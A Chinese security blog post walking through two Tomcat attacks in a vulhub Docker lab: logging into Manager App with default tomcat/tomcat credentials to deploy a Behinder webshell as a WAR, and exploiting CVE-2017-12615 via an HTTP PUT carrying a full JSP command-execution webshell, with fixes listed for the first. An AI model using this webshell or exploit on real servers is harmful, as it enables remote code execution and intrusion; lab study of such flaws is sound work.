549 字
2 分钟
TomCat文件上传漏洞
2023-04-15

环境:centOS7
tomcat
docker
需要工具:java环境、冰蝎

弱口令利用,并上传#

文件位置:
/root/CVE/vulhub-master/tomcat/tomcat8
在虚拟机中运行docker,命令
docker-compose up -d
image.png
再查询虚拟机的IP地址,在本机中打开,tomcat默认端口8080
image.png
可以看到右上角有个manager App
image.png
利用弱口令进入:用户名tomcat,密码tomcat
进入网页,发现有上传东西的地方
image.png
然后打开冰蝎准备上传shell
image.png
选default_aes ,然后点击生成服务端
image.png
之后自动弹出一个文件夹,里面有需要的shell文件
image.png
打开cmd,选择其中一个.jsp
输入命令
jar cvf shell.war .\shell.jsp
将shell文件打包成war包,准备上传
image.png
image.png
提示成功,打开地址验证一下
image.png
http://192.168.1.4:8080/shell/shell.jsp
发现成功,打开冰蝎,点击新增,输入刚才的地址
image.png
image.png
image.png
这样就拿到了shell

修复方案
1、更改弱密码(治标不治本)
2、在系统上以低权限运行Tomcat应用程序。创建一个专门的
Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
3、增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。
在CATALINA_HOME/conf/web.xml 文件设置锁定机制和时间超时限制。
4、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

CVE-2017-12615——远程代码执行#

image.png
image.png
试试点击Manager App,被拦截了
image.png
现在打开BrupSuite
准备好提供的POC
<%@ page language=“java” import=“java.util.,java.io.” pageEncoding=“UTF-8”%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+“\n”);}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if(“023”.equals(request.getParameter(“pwd”))&&!"".equals(request.getParameter(“cmd”))){out.println("

"+excuteCmd(request.getParameter(“cmd”))+"
");}else{out.println(”:-)”);}%>

将拦截到的发送到Repeater
image.png
将GET改为PUT /1.jsp/,再在下面添加上之前准备的POC
image.png

状态码提示为201,为上传成功了,打开地址
image.png
尝试输入指令
http://192.168.1.4:8080/1.jsp?pwd=023&cmd=id
image.png
image.png

同理,这里的POC,可以替换为冰蝎的shell,从而更好的拿到shell

TomCat文件上传漏洞
https://mizuki.mysqil.com/posts/网安/tomcat文件上传漏洞/
作者
Twoc-Prime
发布于
2023-04-15
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时